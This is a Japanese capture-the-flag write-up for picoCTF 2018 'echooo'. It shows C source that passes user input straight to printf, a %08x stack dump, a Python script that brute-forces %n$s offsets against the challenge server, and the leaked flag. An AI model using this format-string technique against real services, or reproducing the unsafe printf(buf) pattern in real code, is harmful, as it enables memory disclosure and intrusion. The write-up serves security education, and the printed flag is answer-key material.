picoCTF 2018: echooo

問題

問題文

This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell.picoctf.com 3981. Source.

Hints:

If only the program used puts...

解答例

指針

  • format string attack による stack の読み込み

解説

与えられたソースコードは以下のようなものだった.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  char flag[64];
  char *flag_ptr = flag;
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  memset(buf, 0, sizeof(flag));
  memset(buf, 0, sizeof(buf));

  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  
  FILE *file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  
  fgets(flag, sizeof(flag), file);
  
  while(1) {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }  
  return 0;
}

以下のように printf の第一引数に外部から指定できる文字列を与えると format string attack ができる.

    printf(buf);

%08x という書式パラーメータを渡すと, Stack のメモリダンプを得ることができる.

$ nc 2018shell.picoctf.com 3981
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> aaaa %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x
aaaa 00000040 f77175a0 08048647 f7750a74 00000001 f7727490 ffb45914 ffb4581c 00000492 08726008 61616161 > x

%n$s とすれば stack の先頭から n 番目に格納されているアドレスが指す文字列を表示することができる.

n の値を適当に試したところ flag が得られた.

  • exploit
#!/usr/bin/env python3

import socket

for i in range(100):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('2018shell.picoctf.com', 3981))

        data = s.recv(4096); data += s.recv(4096);
        send_msg = "AAAA %" + str(i) + "$s" + '\n'

        s.send(send_msg.encode())
        data = s.recv(4096)

        print(data)

        if "pico" in data.decode():
            break

    except:
        pass
  • 実行結果
$ python3 exploit.py
b'AAAA %0$s\n'
b'timeout: '
b'AAAA \x88 \xad\xfbz\x91\x17\tz\x91\x17\tp\x91\x17\tp\x91\x17\tp\x91\x17\tp\x91\x17\tp\x91\x17\tp\xa1\x17\t\n'
b'AAAA \x89\x85l\xff\xff\xff\x83\xec\x04\xff\xb5l\xff\xff\xff\xff\xb5l\xff\xff\xff\xff\xb5l\xff\xff\xff\xe8y\xfe\xff\xff\x83\xc4\x10\x83\xec\x04j@j\n'
b'AAAA `\xd4n\xf7\x03\n'
b'timeout: '
b'AAAA X\x83\x04\x08\x10ii\r\n'
b'AAAA \xb1\xee\xfe\xff\n'
b'AAAA picoCTF{foRm4t_stRinGs_aRe_DanGer0us_36de83c4}\n\n'

flag: picoCTF{foRm4t_stRinGs_aRe_DanGer0us_36de83c4}

参考文献

  • Hacking: 美しき策謀 第2版 ―脆弱性攻撃の理論と実際